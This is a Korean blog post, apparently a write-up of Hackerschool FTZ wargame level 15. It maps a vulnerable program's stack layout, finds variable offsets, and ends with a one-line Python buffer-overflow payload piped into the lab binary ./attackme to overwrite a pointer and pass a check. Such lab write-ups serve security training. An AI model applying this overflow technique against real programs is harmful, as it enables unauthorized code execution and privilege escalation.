[Hackerschool FTZ] level 15 - 루틴분기(2)
by jennysgap[Hackerschool FTZ] level 15 - 루틴분기(2)
Password: guess what
레벨14 소스와 비슷하다. 다만 check 값을 포인트로 사용했다는 점이다.
메모리 할당 크기는 56byte (buf에서 dummy까지)
[ buf 20 ] [ check 4 ] [ crap 4 ] [ dummy 28 ] [ SFP 4 ] [ RET 4 ]
여기서 문제점은 dummy의 정확한 위치를 모른다는 점이다.
※ if문을 통과하기 위해서는 check 값의 위치를 정확하게 알아내는 것이 중요하다.
주소를 확인하기 위해 코드를 추가해보면 dummy의 위치를 알 수 있다.
printf("input is : %s\n buf : %p\n check : %p\n crap : %p\n", buf, buf, &check, &crap);
758 [check] - 730 [buf] = 28(Hex) → 40(DEC)byte
75c [crap] - 758 [check] = 4byte
[ buf ] <-- 40byte --> [ check ] <-- 4byte --> [ crap ]
[ buf 20 ] [ dummy 20 ] [ check 4 ] [ crap 4 ] [ dummy 8 ] [ SFP 4 ] [ RET 4 ]
buf : 20bytes
dummy : 20bytes
check : 4bytes
crap : 4bytes
dummy : 8bytes
SPF : 4bytes
RET : 4bytes
check 값이 0으로 할당되어 있음 (데이터가 없음)
그러므로 버프를 이용해서 주소 변경해야 함
배열의 주소 포인터를 원하는 곳으로 이동하여 공격
배열의 주소가 랜덤하게 변하므로 다양한 테스트가 필요하다.
(python -c 'print "\xef\xbe\xad\xde"*10+"\x28\xe9\xff\xbf"';cat) | ./attackme
'BOX' 카테고리의 다른 글
[Hackerschool FTZ] level 17 - Function Pointer(2) (0) | 2018.01.09 |
---|---|
[Hackerschool FTZ] level 16 - Function Pointer (0) | 2018.01.09 |
[Hackerschool FTZ] level 14 - 루틴분기 (0) | 2017.12.26 |
[webhacking.kr] 홈페이지 가입하기 (0) | 2017.12.22 |
[Hackerschool FTZ] level 13 - Stack Guard (0) | 2017.12.20 |
블로그의 정보
jennysgap
jennysgap